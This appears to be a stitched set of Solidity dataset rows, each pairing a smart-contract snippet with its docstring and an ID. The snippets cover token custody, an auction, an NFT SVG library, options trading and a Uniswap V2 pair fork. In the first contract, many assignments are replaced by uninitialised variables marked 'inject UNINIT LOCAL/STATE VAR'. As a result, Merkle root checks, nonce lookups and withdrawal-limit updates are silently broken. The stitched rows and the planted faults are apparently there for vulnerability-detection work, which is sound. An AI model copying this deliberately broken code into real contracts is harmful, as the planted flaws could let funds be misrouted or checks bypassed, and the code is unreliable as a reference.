function _getRefundData(bytes memory _operatorData)
internal
view
returns (uint256, Supply memory)
{
uint256 _supplyNonce ; //inject UNINIT LOCAL/STATE VAR
Supply memory supply = nonceToSupply[_supplyNonce];
return (_supplyNonce, supply);
}
/**
* @notice Validates that the parameters are valid for the requested refund
* @param _partition Source partition of the tokens
* @param _operator Address that is executing the refund
* @param _value Number of tokens to be transferred
* @param _supplyNonce nonce of the recorded supply
* @param _supply The supplier, partition and amount of tokens in the original supply
* @return true if the refund data is valid, otherwise false
*/
function _verifyRefundData(
bytes32 _partition,
address _operator,
uint256 _value,
uint256 _supplyNonce,
Supply memory _supply
) internal view returns (bool) {
return
// Supply record exists
(_supply.amount > 0) &&
// Only owner or supplier can invoke the refund
(_operator == owner() || _operator == _supply.supplier) &&
// Requested partition matches the Supply record
(_partition == _supply.partition) &&
// Requested value matches the Supply record
(_value == _supply.amount) &&
// Ensure we have entered fallback mode
(SafeMath.add(fallbackSetDate, fallbackWithdrawalDelaySeconds) <= block.timestamp) &&
// Supply has not already been included in the fallback withdrawal data
(_supplyNonce > fallbackMaxIncludedSupplyNonce);
}
/**********************************************************************************************
* Direct Transfers
*********************************************************************************************/
/**
* @notice Validates direct transfer data
* @param _operator Address that is invoking the transfer
* @param _value Number of tokens to be transferred
* @return true if the direct transfer data is valid, otherwise false
*/
function _validateDirectTransfer(address _operator, uint256 _value)
internal
view
returns (bool)
{
return
// Only owner and directTransferer can invoke withdrawals
(_operator == owner() || _operator == directTransferer) &&
// Ensure we are within the global withdrawal limit
(_value <= withdrawalLimit);
}
/**
* @notice Validates the direct transfer data and updates state to reflect the transfer
* @param _partition Source partition of the direct transfer
* @param _operator Address that is invoking the transfer
* @param _to The target address of the tokens.
* @param _value Number of tokens to be transferred
* @param _data Data attached to the transfer. Typically includes partition change information.
*/
function _executeDirectTransfer(
bytes32 _partition,
address _operator,
address _to,
uint256 _value,
bytes memory _data
) internal {
require(_validateDirectTransfer(_operator, _value), "Transfer unauthorized");
withdrawalLimit = SafeMath.sub(withdrawalLimit, _value);
bytes32 to_partition ; //inject UNINIT LOCAL/STATE VAR
emit DirectTransfer(_operator, _partition, _to, to_partition, _value);
}
/**********************************************************************************************
* Release Request
*********************************************************************************************/
/**
* @notice Emits a release request event that can be used to trigger the release of tokens
* @param _partition Parition from which the tokens should be released
* @param _amount Number of tokens requested to be released
* @param _data Metadata to include with the release request
*/
function requestRelease(
bytes32 _partition,
uint256 _amount,
bytes memory _data
) external {
emit ReleaseRequest(msg.sender, _partition, _amount, _data);
}
/**********************************************************************************************
* Partition Management
*********************************************************************************************/
/**
* @notice Adds a partition to the set allowed to receive tokens
* @param _partition Parition to be permitted for incoming transfers
*/
function addPartition(bytes32 _partition) external {
require(msg.sender == owner() || msg.sender == partitionManager, "Invalid sender");
require(partitions[_partition] == false, "Partition already permitted");
(bytes4 prefix, , address partitionOwner) = PartitionUtils._splitPartition(_partition);
require(prefix == PARTITION_PREFIX, "Invalid partition prefix");
require(partitionOwner == address(this), "Invalid partition owner");
partitions[_partition] = true;
emit PartitionAdded(_partition);
}
/**
* @notice Removes a partition from the set allowed to receive tokens
* @param _partition Parition to be disallowed from incoming transfers
*/
function removePartition(bytes32 _partition) external {
require(msg.sender == owner() || msg.sender == partitionManager, "Invalid sender");
require(partitions[_partition], "Partition not permitted");
delete partitions[_partition];
emit PartitionRemoved(_partition);
}
/**********************************************************************************************
* Withdrawal Management
*********************************************************************************************/
/**
* @notice Modifies the withdrawal limit by the provided amount.
* @param _amount Limit delta
*/
function modifyWithdrawalLimit(int256 _amount) external {
require(msg.sender == owner() || msg.sender == withdrawalLimitPublisher, "Invalid sender");
uint256 oldLimit ; //inject UNINIT LOCAL/STATE VAR
if (_amount < 0) {
uint256 unsignedAmount ; //inject UNINIT LOCAL/STATE VAR
withdrawalLimit = SafeMath.sub(withdrawalLimit, unsignedAmount);
} else {
uint256 unsignedAmount ; //inject UNINIT LOCAL/STATE VAR
withdrawalLimit = SafeMath.add(withdrawalLimit, unsignedAmount);
}
emit WithdrawalLimitUpdate(oldLimit, withdrawalLimit);
}
/**
* @notice Adds the root hash of a Merkle tree containing authorized token withdrawals to the
* active set
* @param _root The root hash to be added to the active set
* @param _nonce The nonce of the new root hash. Must be exactly one higher than the existing
* max nonce.
* @param _replacedRoots The root hashes to be removed from the repository.
*/
function addWithdrawalRoot(
bytes32 _root,
uint256 _nonce,
bytes32[] calldata _replacedRoots
) external {
require(msg.sender == owner() || msg.sender == withdrawalPublisher, "Invalid sender");
require(_root != 0, "Invalid root");
require(maxWithdrawalRootNonce + 1 == _nonce, "Nonce not current max plus one");
require(withdrawalRootToNonce[_root] == 0, "Nonce already used");
withdrawalRootToNonce[_root] = _nonce;
maxWithdrawalRootNonce = _nonce;
emit WithdrawalRootHashAddition(_root, _nonce);
for (uint256 i ; i < _replacedRoots.length; i++) { //inject UNINIT LOCAL/STATE VAR
deleteWithdrawalRoot(_replacedRoots[i]);
}
}
/**
* @notice Removes withdrawal root hashes from active set
* @param _roots The root hashes to be removed from the active set
*/
function removeWithdrawalRoots(bytes32[] calldata _roots) external {
require(msg.sender == owner() || msg.sender == withdrawalPublisher, "Invalid sender");
for (uint256 i ; i < _roots.length; i++) { //inject UNINIT LOCAL/STATE VAR
deleteWithdrawalRoot(_roots[i]);
}
}
/**
* @notice Removes a withdrawal root hash from active set
* @param _root The root hash to be removed from the active set
*/
function deleteWithdrawalRoot(bytes32 _root) private {
uint256 nonce ; //inject UNINIT LOCAL/STATE VAR
require(nonce > 0, "Root not found");
delete withdrawalRootToNonce[_root];
emit WithdrawalRootHashRemoval(_root, nonce);
}
/**********************************************************************************************
* Fallback Management
*********************************************************************************************/
/**
* @notice Sets the root hash of the Merkle tree containing fallback
* withdrawal authorizations.
* @param _root The root hash of a Merkle tree containing the fallback withdrawal
* authorizations
* @param _maxSupplyNonce The nonce of the latest supply whose value is reflected in the
* fallback withdrawal authorizations.
*/
function setFallbackRoot(bytes32 _root, uint256 _maxSupplyNonce) external {
require(msg.sender == owner() || msg.sender == fallbackPublisher, "Invalid sender");
require(_root != 0, "Invalid root");
require(
SafeMath.add(fallbackSetDate, fallbackWithdrawalDelaySeconds) > block.timestamp,
"Fallback is active"
);
require(
_maxSupplyNonce >= fallbackMaxIncludedSupplyNonce,
"Included supply nonce decreased"
);
require(_maxSupplyNonce <= supplyNonce, "Included supply nonce exceeds latest supply");
fallbackRoot = _root;
fallbackMaxIncludedSupplyNonce = _maxSupplyNonce;
fallbackSetDate = block.timestamp;
emit FallbackRootHashSet(_root, fallbackMaxIncludedSupplyNonce, block.timestamp);
}
/**
* @notice Resets the fallback set date to the current block's timestamp. This can be used to
* delay the start of the fallback period without publishing a new root, or to deactivate the
* fallback mechanism so a new fallback root may be published.
*/
function resetFallbackMechanismDate() external {
require(msg.sender == owner() || msg.sender == fallbackPublisher, "Invalid sender");
fallbackSetDate = block.timestamp;
emit FallbackMechanismDateReset(fallbackSetDate);
}
/**
* @notice Updates the time-lock period before the fallback mechanism is activated after the
* last fallback root was published.
* @param _newFallbackDelaySeconds The new delay period in seconds
*/
function setFallbackWithdrawalDelay(uint256 _newFallbackDelaySeconds) external {
require(msg.sender == owner(), "Invalid sender");
require(_newFallbackDelaySeconds != 0, "Invalid zero delay seconds");
require(_newFallbackDelaySeconds < 10 * 365 days, "Invalid delay over 10 years");
uint256 oldDelay ; //inject UNINIT LOCAL/STATE VAR
fallbackWithdrawalDelaySeconds = _newFallbackDelaySeconds;
emit FallbackWithdrawalDelayUpdate(oldDelay, _newFallbackDelaySeconds);
}
/**********************************************************************************************
* Role Management
*********************************************************************************************/
/**
* @notice Updates the Withdrawal Publisher address, the only address other than the owner that
* can publish / remove withdrawal Merkle tree roots.
* @param _newWithdrawalPublisher The address of the new Withdrawal Publisher
* @dev Error invalid sender.
*/
function setWithdrawalPublisher(address _newWithdrawalPublisher) external {
require(msg.sender == owner(), "Invalid sender");
address oldValue ; //inject UNINIT LOCAL/STATE VAR
withdrawalPublisher = _newWithdrawalPublisher;
emit WithdrawalPublisherUpdate(oldValue, withdrawalPublisher);
}
/**
* @notice Updates the Fallback Publisher address, the only address other than the owner that
* can publish / remove fallback withdrawal Merkle tree roots.
* @param _newFallbackPublisher The address of the new Fallback Publisher
* @dev Error invalid sender.
*/
function setFallbackPublisher(address _newFallbackPublisher) external {
require(msg.sender == owner(), "Invalid sender");
address oldValue ; //inject UNINIT LOCAL/STATE VAR
fallbackPublisher = _newFallbackPublisher;
emit FallbackPublisherUpdate(oldValue, fallbackPublisher);
}
/**
* @notice Updates the Withdrawal Limit Publisher address, the only address other than the
* owner that can set the withdrawal limit.
* @param _newWithdrawalLimitPublisher The address of the new Withdrawal Limit Publisher
* @dev Error invalid sender.
*/
function setWithdrawalLimitPublisher(address _newWithdrawalLimitPublisher) external {
require(msg.sender == owner(), "Invalid sender");
address oldValue ; //inject UNINIT LOCAL/STATE VAR
withdrawalLimitPublisher = _newWithdrawalLimitPublisher;
emit WithdrawalLimitPublisherUpdate(oldValue, withdrawalLimitPublisher);
}
/**
* @notice Updates the DirectTransferer address, the only address other than the owner that
* can execute direct transfers
* @param _newDirectTransferer The address of the new DirectTransferer
*/
function setDirectTransferer(address _newDirectTransferer) external {
require(msg.sender == owner(), "Invalid sender");
address oldValue ; //inject UNINIT LOCAL/STATE VAR
directTransferer = _newDirectTransferer;
emit DirectTransfererUpdate(oldValue, directTransferer);
}
/**
* @notice Updates the Partition Manager address, the only address other than the owner that
* can add and remove permitted partitions
* @param _newPartitionManager The address of the new PartitionManager
*/
function setPartitionManager(address _newPartitionManager) external {
require(msg.sender == owner(), "Invalid sender");
address oldValue ; //inject UNINIT LOCAL/STATE VAR
partitionManager = _newPartitionManager;
emit PartitionManagerUpdate(oldValue, partitionManager);
}
/**********************************************************************************************
* Operator Data Decoders
*********************************************************************************************/
/**
* @notice Extract flag from operatorData
* @param _operatorData The operator data to be decoded
* @return flag, the transfer operation type
*/
function _decodeOperatorDataFlag(bytes memory _operatorData) internal pure returns (bytes32) {
return abi.decode(_operatorData, (bytes32));
}
/**
* @notice Extracts the supplier, max authorized nonce, and Merkle proof from the operator data
* @param _operatorData The operator data to be decoded
* @return supplier, the address whose account is authorized
* @return For withdrawals: max authorized nonce, the last used withdrawal root nonce for the
* supplier and partition. For fallback withdrawals: max cumulative withdrawal amount, the
* maximum amount of tokens that can be withdrawn for the supplier's account, including both
* withdrawals and fallback withdrawals
* @return proof, the Merkle proof to be used for the authorization
*/
function _decodeWithdrawalOperatorData(bytes memory _operatorData)
internal
pure
returns (
address,
uint256,
bytes32[] memory
)
{
(, address supplier, uint256 nonce, bytes32[] memory proof) = abi.decode(
_operatorData,
(bytes32, address, uint256, bytes32[])
);
return (supplier, nonce, proof);
}
/**
* @notice Extracts the supply nonce from the operator data
* @param _operatorData The operator data to be decoded
* @return nonce, the nonce of the supply to be refunded
*/
function _decodeRefundOperatorData(bytes memory _operatorData) internal pure returns (uint256) {
(, uint256 nonce) = abi.decode(_operatorData, (bytes32, uint256));
return nonce;
}
/**********************************************************************************************
* Merkle Tree Verification
*********************************************************************************************/
/**
* @notice Hashes the supplied data and returns the hash to be used in conjunction with a proof
* to calculate the Merkle tree root
* @param _supplier The address whose account is authorized
* @param _partition Source partition of the tokens
* @param _value Number of tokens to be transferred
* @param _maxAuthorizedAccountNonce The maximum existing used withdrawal nonce for the
* supplier and partition
* @return leaf, the hash of the supplied data
*/
function _calculateWithdrawalLeaf(
address _supplier,
bytes32 _partition,
uint256 _value,
uint256 _maxAuthorizedAccountNonce
) internal pure returns (bytes32) {
return
keccak256(abi.encodePacked(_supplier, _partition, _value, _maxAuthorizedAccountNonce));
}
/**
* @notice Hashes the supplied data and returns the hash to be used in conjunction with a proof
* to calculate the Merkle tree root
* @param _supplier The address whose account is authorized
* @param _partition Source partition of the tokens
* @param _maxCumulativeWithdrawalAmount, the maximum amount of tokens that can be withdrawn
* for the supplier's account, including both withdrawals and fallback withdrawals
* @return leaf, the hash of the supplied data
*/
function _calculateFallbackLeaf(
address _supplier,
bytes32 _partition,
uint256 _maxCumulativeWithdrawalAmount
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_supplier, _partition, _maxCumulativeWithdrawalAmount));
}
/**
* @notice Calculates the Merkle root for the unique Merkle tree described by the provided
Merkle proof and leaf hash.
* @param _merkleProof The sibling node hashes at each level of the tree.
* @param _leafHash The hash of the leaf data for which merkleProof is an inclusion proof.
* @return The calculated Merkle root.
*/
function _calculateMerkleRoot(bytes32[] memory _merkleProof, bytes32 _leafHash)
private
pure
returns (bytes32)
{
bytes32 computedHash ; //inject UNINIT LOCAL/STATE VAR
for (uint256 i ; i < _merkleProof.length; i++) { //inject UNINIT LOCAL/STATE VAR
bytes32 proofElement ; //inject UNINIT LOCAL/STATE VAR
if (computedHash < proofElement) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
|
* @notice Active set of withdrawal roots/
|
mapping(bytes32 => uint256) public withdrawalRootToNonce;
| 5,380,162
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pragma solidity >=0.4.21 <0.7.0;
import "./SafeMath.sol";
import "./Ownable.sol";
// Contarct Interface /////////////////////////////////////////////////////////////////////////////////////////////
contract TokenInterface {
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address _from, address to, uint256 value) public returns (bool);
}
/// @title Name Auction
/// @author Gonzalo Munilla Garrido
/// @notice This smart contract hosts an auction for names set by the owner of this contract
contract Auction is Ownable {
// Libraries /////////////////////////////////////////////////////////////////////////////////////////////
using SafeMath for uint256;
// Constants /////////////////////////////////////////////////////////////////////////////////////////////
/// @param WaitingTime the amount of seconds the auction lasts
uint WaitingTime = 180;
// Mappings /////////////////////////////////////////////////////////////////////////////////////////////
/// @param NameToBool It keeps track of the names the owner has set, that way he/she cannot set the names anew
mapping(string => bool) NameToBool;
/// @param This maps a name to a struct containing the information of this name, the highgest bidder/owner, the timelimit and its highest bid
mapping(string => Data) NameToOwner;
// Contarct Interface Assignment /////////////////////////////////////////////////////////////////////////////////////////////
/// @param token Object to use the functions form the token contract whose funds are used for this auction
TokenInterface token;
// Events /////////////////////////////////////////////////////////////////////////////////////////////
/// @notice NewName this event is triggered every time a new name is posted for auctioning
event NewName(string name, uint cost, string text);
/// @notice NewBid this event is triggered every time a new bid is made for a specific name
event NewBid(string name, uint bid, uint TimeRemaining, string text);
// Modifiers /////////////////////////////////////////////////////////////////////////////////////////////
/// @notice OnlyOnTime only if the call of the function is within the auction time, the transaction will be executed
modifier OnlyOnTime(string memory name) {
require(now < NameToOwner[name].TimeLimit, "The auction has finished.");
_;
}
/// @notice OnlyAfterTime only if the call of the function is after the auction time, the transaction will be executed
modifier OnlyAfterTime(string memory name) {
require(now > NameToOwner[name].TimeLimit, "The auction is not yet finished.");
_;
}
/// @notice OnlyGreaterBid only if the bid proposed is higher than the previous bid the transaction will be executed
modifier OnlyGreaterBid(string memory name, uint amount) {
require(amount > NameToOwner[name].HighestBid, "The transfered amount is not greater than the current bid");
_;
}
// Structs /////////////////////////////////////////////////////////////////////////////////////////////
/// @param Data struct containing the necessary information of a name
/// @param HighestBid number indicating the latest and highest bid made for a specific name
/// @param TimeLimit the time in the future in which the auction for that name will be closed
/// @param HighestBidder the address of the entity who bid the highest for a specific name
struct Data {
uint HighestBid;
uint TimeLimit;
address HighestBidder;
}
// Functions /////////////////////////////////////////////////////////////////////////////////////////////
/// @notice setTokenContractAddress sets the ocntract address of the token interface, that way its tokens can be used
function setTokenContractAddress(address ContractAddress) public onlyOwner {
token = TokenInterface(ContractAddress);
}
/// @notice setName the owner of this contract sets the name to be bid for
/// @param name the name to be bid for
/// @param cost the number at which the bid starts, the following bids need to be above such a number
function setName(string memory name, uint cost) public onlyOwner {
require(!NameToBool[name], "You have already created this name.");
NameToBool[name] = true;
NameToOwner[name].HighestBidder = owner();
NameToOwner[name].HighestBid = cost;
NameToOwner[name].TimeLimit = now.add(WaitingTime);
emit NewName(name, cost, "New name for the taking!");
}
/// @notice Bid the bidder calls this function to place an amount of tokens as a new highestr bid
/// @param amount the new bid
function Bid(uint amount, string memory name) public OnlyOnTime(name) OnlyGreaterBid(name, amount) {
if (msg.sender != owner()) {
require(token.transfer(NameToOwner[name].HighestBidder, NameToOwner[name].HighestBid), "This error is caused by the owner of this contract. Try later.");
}
require(token.transferFrom(msg.sender, address(this), amount), "You have not allowed this contract to withdraw funds.");
NameToOwner[name].HighestBidder = msg.sender;
NameToOwner[name].HighestBid = amount;
emit NewBid(name, amount, NameToOwner[name].TimeLimit.sub(now), "New bid!");
}
/// @notice finishAuction the owner of the ocntract can finish a bid for a name after it is finished
function finishAuction(string memory name) public onlyOwner OnlyAfterTime(name){
require(token.transfer(owner(), NameToOwner[name].HighestBid));
NameToOwner[name].HighestBid = 0;
}
/// @notice getCost this function retrieves the actual cost of a name in the auction
function getCost(string calldata name) external view returns (uint) {
return NameToOwner[name].HighestBid;
}
}
|
@notice setTokenContractAddress sets the ocntract address of the token interface, that way its tokens can be used
|
function setTokenContractAddress(address ContractAddress) public onlyOwner {
token = TokenInterface(ContractAddress);
}
| 5,465,156
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./full_match/71402/0x67f0CB20E6F325CBd94EEe4a77F119c64C9a1AD5/sources/contracts/NFTSVG.sol
|
@title NFTSVG @notice Provides a function for generating an SVG associated with a Uniswap NFT
|
library NFTSVG {
pragma solidity ^0.8.21;
struct SVGParams {
uint256 rotation;
string angel1;
string angel2;
string angel3;
string angel4;
string angel5;
string angel6;
string colorPolygon1;
string colorPolygon2;
string colorPolygon3;
string colorPolygon4;
string colorPolygon5;
string colorPolygon6;
string colorOBCircle1;
string colorOBCircle2;
string colorOBCircle3;
string colorOBDynamic;
}
function parseParams(string[20] memory hexArray) internal pure returns (SVGParams memory params) {
params.rotation = HexStrings.fromHex2(hexArray[0]);
params.colorPolygon1 = string(abi.encodePacked(hexArray[1], hexArray[2], hexArray[3]));
params.colorPolygon2 = string(abi.encodePacked(hexArray[4], hexArray[5], hexArray[6]));
params.colorPolygon3 = string(abi.encodePacked(hexArray[7], hexArray[8], hexArray[9]));
params.colorPolygon4 = string(abi.encodePacked(hexArray[10], hexArray[11], hexArray[12]));
params.colorPolygon5 = string(abi.encodePacked(hexArray[13], hexArray[14], hexArray[15]));
params.colorPolygon6 = string(abi.encodePacked(hexArray[16], hexArray[17], hexArray[18]));
params.colorOBCircle1 = string(abi.encodePacked(hexArray[0], hexArray[7], hexArray[9]));
params.colorOBCircle2 = string(abi.encodePacked(hexArray[11], hexArray[15], hexArray[19]));
params.colorOBCircle3 = string(abi.encodePacked(hexArray[0], hexArray[2], hexArray[10], hexArray[18]));
params.colorOBDynamic = string(abi.encodePacked(hexArray[17], hexArray[18], hexArray[19]));
}
function gengrateMainGroup(SVGParams memory params) internal pure returns (string memory svg) {
svg = string(
abi.encodePacked(
'<g transform="rotate(', Strings.toString(params.rotation), ',160,160) translate(160 160)">',
'<use href="#polygon_big_30deg_76_godwoken" fill="url(#gradient_big_1_godwoken)" transform="rotate(0,0,0)"></use>',
'<use href="#polygon_big_30deg_76_godwoken" fill="url(#gradient_big_2_godwoken)" transform="rotate(120,0,0)"></use>',
'<use href="#polygon_big_30deg_76_godwoken" fill="url(#gradient_big_3_godwoken)" transform="rotate(240,0,0)"></use>',
'<use href="#polygon_small_40deg_40_godwoken" fill="#', params.colorPolygon4, '" transform="rotate(60,0,0)"></use>',
'<use href="#polygon_small_40deg_40_godwoken" fill="#', params.colorPolygon5, '" transform="rotate(180,0,0)"></use>',
'<use href="#polygon_small_40deg_40_godwoken" fill="#', params.colorPolygon6, '" transform="rotate(300,0,0)"></use>',
'</g>'
)
);
}
function generateRadialGradient(string memory id, string memory color) internal pure returns (string memory) {
return string(
abi.encodePacked(
'<radialGradient id="', id,
'" cx="0" cy="0" r="100" gradientUnits="userSpaceOnUse"><stop offset="0.18" stop-color="', color,
'" stop-opacity="0"></stop><stop offset="1" stop-color="', color,'"></stop></radialGradient>'
)
);
}
function gengrateSVG(string[20] memory hexArray) internal pure returns (string memory svg) {
SVGParams memory params = parseParams(hexArray);
svg = string(
abi.encodePacked(
'<defs>',
generateRadialGradient("gradient_big_1_godwoken", params.colorPolygon1),
generateRadialGradient("gradient_big_2_godwoken", params.colorPolygon2),
generateRadialGradient("gradient_big_3_godwoken", params.colorPolygon3),
'<path id="circleOutbounding_godwoken" d="M 0 0 m 150, 0 a 150,150 0 1,0 -300,0 a 150,150 0 1,0 300,0"></path>',
'<path id="polygon_big_30deg_76_godwoken" d="M0,0 -20.096189432334203,-75 0,150 20.096189432334203,-75z"></path>',
'<path id="polygon_small_40deg_40_godwoken" d="M0,0 -16.378660541979105,-45 0,-90 16.378660541979105,-45z"></path>',
'</defs><g transform="translate(160 160)"><g>',
'<circle cx="0" cy="-129.9038105676658" r="3" fill="#', params.colorOBCircle1, '"><animate attributeName="opacity" attributeType="XML" begin="1s" dur="7s" keyTimes="0;0.5;1" repeatCount="indefinite" type="rotate" values="1;0;1" calcMode="linear"></animate></circle>',
'<circle cx="112.50000000000001" cy="64.95190528383287" r="9" stroke="#', params.colorOBCircle2, '" stroke-width="2"><animate attributeName="opacity" attributeType="XML" begin="0s" dur="12s" keyTimes="0;0.5;1" repeatCount="indefinite" type="rotate" values="1;0;1" calcMode="linear"></animate></circle>',
'<circle cx="-112.49999999999997" cy="64.95190528383296" r="6" fill="#', params.colorOBCircle3, '"><animate attributeName="opacity" attributeType="XML" begin="2s" dur="5s" keyTimes="0;0.5;1" repeatCount="indefinite" type="rotate" values="1;0;1" calcMode="linear"></animate></circle>',
'<animateTransform attributeName="transform" attributeType="XML" dur="7s" keyTimes="0;0.25;0.5;0.75;1" repeatCount="indefinite" type="rotate" values="0;90;180;270;360" calcMode="linear"></animateTransform>',
'</g></g>',
'<use href="#circleOutbounding_godwoken" transform="translate(160 160) scale(1.4 1.4)" stroke="#', params.colorOBDynamic, '49" stroke-width="1">',
'<animateTransform attributeName="transform" type="scale" additive="sum" from="0 0" to="1 1" beg="0s" dur="1.2s" repeatCount="indefinite"></animateTransform>',
'</use>',
gengrateMainGroup(params),
'</svg>'
)
);
}
}
| 7,092,855
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] |
./full_match/1/0x3596fB4e61dE7d5Cca41Ae5a3fFFcCdedE313a4e/sources/src/CCIPeth.sol
|
@notice Best effort check to ensure Cozys are sent from EOAs, as destinations address is same as sender address @dev Can be circumvented via constructor call - doesn't benefit caller
|
modifier onlyEOA() {
address sender = msg.sender;
uint256 size;
assembly {
size := extcodesize(sender)
}
if (size > 0) {
revert NotEOA();
}
_;
}
| 3,132,941
|
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./partial_match/4/0xE03830fE2C66Dc9B32cf5c25C1235a89B10eBd44/sources/OptionFactory.sol
|
* Buy `optionsOut` quantity of options/ mint options for sender calculate amount to be paid calculate trading fee transfer base tokens from sender
|
function buy(
bool isLongToken,
uint256 strikeIndex,
uint256 optionsOut,
uint256 maxAmountIn
) external payable nonReentrant returns (uint256 amountIn) {
require(b > 0, "Cannot be called before b is set");
require(!isExpired(), "Already expired");
require(!isPaused, "This method has been paused");
require(strikeIndex < numStrikes, "Index too large");
require(optionsOut > 0, "optionsOut must be > 0");
uint256 costBefore = lastCost;
OptionToken option = isLongToken ? longTokens[strikeIndex] : shortTokens[strikeIndex];
option.mint(msg.sender, optionsOut);
lastCost = currentCumulativeCost();
amountIn = lastCost.sub(costBefore);
require(amountIn > 0, "Amount in must be > 0");
uint256 fee = optionsOut.mul(tradingFee);
fee = isPut ? fee.mul(strikePrices[strikeIndex]).div(SCALE_SCALE) : fee.div(SCALE);
amountIn = amountIn.add(fee);
require(amountIn <= maxAmountIn, "Max slippage exceeded");
uint256 balanceBefore = baseToken.uniBalanceOf(address(this));
baseToken.uniTransferFromSenderToThis(amountIn);
uint256 balanceAfter = baseToken.uniBalanceOf(address(this));
require(baseToken.isETH() || balanceAfter.sub(balanceBefore) == amountIn, "Deflationary tokens not supported");
require(balanceCap == 0 || baseToken.uniBalanceOf(address(this)) <= balanceCap, "Balance cap exceeded");
emit Trade(msg.sender, true, isLongToken, strikeIndex, optionsOut, amountIn, option.totalSupply());
}
| 8,659,970
|
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// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import './interfaces/IUniswapV2Pair.sol';
import './UniswapV2ERC20.sol';
import './libraries/Math.sol';
import './libraries/UQ112x112.sol';
import './interfaces/IERC20.sol';
import './interfaces/IUniswapV2Factory.sol';
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint256;
using UQ112x112 for uint224;
// string public name = 'PolkaBridgeAMM: Pair';
// uint256 public constant override MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public override factory;
address public override token0;
address public override token1;
// address ownerAddress;
address treasury;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public override price0CumulativeLast;
uint public override price1CumulativeLast;
// uint public override kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint256 private unlocked = 1;
uint256 private releaseTime;
uint256 private lockTime = 2 days;
modifier lock() {
require(unlocked == 1, 'PolkaBridge AMM: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves()
public
view
override
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(
address token,
address to,
uint256 value
) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'PolkaBridge AMM: TRANSFER_FAILED');
}
constructor() {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1, address _treasury) external override {
require(msg.sender == factory, 'PolkaBridge AMM: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
// ownerAddress = _owner;
treasury = _treasury;
}
// function skim(address to) external override lock {
// address _token0 = token0; // gas savings
// address _token1 = token1; // gas savings
// _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
// _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
// }
// force reserves to match balances
function sync() external override lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(int112(-1)) && balance1 <= uint112(int112(-1)), 'PolkaBridge AMM: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
// function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
// // address feeTo = address(0);//IUniswapV2Factory(factory).feeTo();
// // feeOn = feeTo != address(0);
// // uint _kLast = kLast; // gas savings
// // if (feeOn) {
// // if (_kLast != 0) {
// // uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
// // uint rootKLast = Math.sqrt(_kLast);
// // if (rootK > rootKLast) {
// // uint numerator = totalSupply.mul(rootK.sub(rootKLast));
// // uint denominator = rootK.mul(5).add(rootKLast);
// // uint liquidity = numerator / denominator;
// // if (liquidity > 0) _mint(feeTo, liquidity);
// // }
// // }
// // } else if (_kLast != 0) {
// // kLast = 0;
// // }
// feeOn = false;
// kLast = 0;
// }
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external override lock returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
// bool feeOn = false;//_mintFee(_reserve0, _reserve1);
// uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1));//.sub(MINIMUM_LIQUIDITY);
// _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(totalSupply) / _reserve0, amount1.mul(totalSupply) / _reserve1);
}
require(liquidity > 0, 'PolkaBridge AMM: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
// if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external override lock returns (uint256 amount0, uint256 amount1) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint256 balance0 = IERC20(_token0).balanceOf(address(this));
uint256 balance1 = IERC20(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
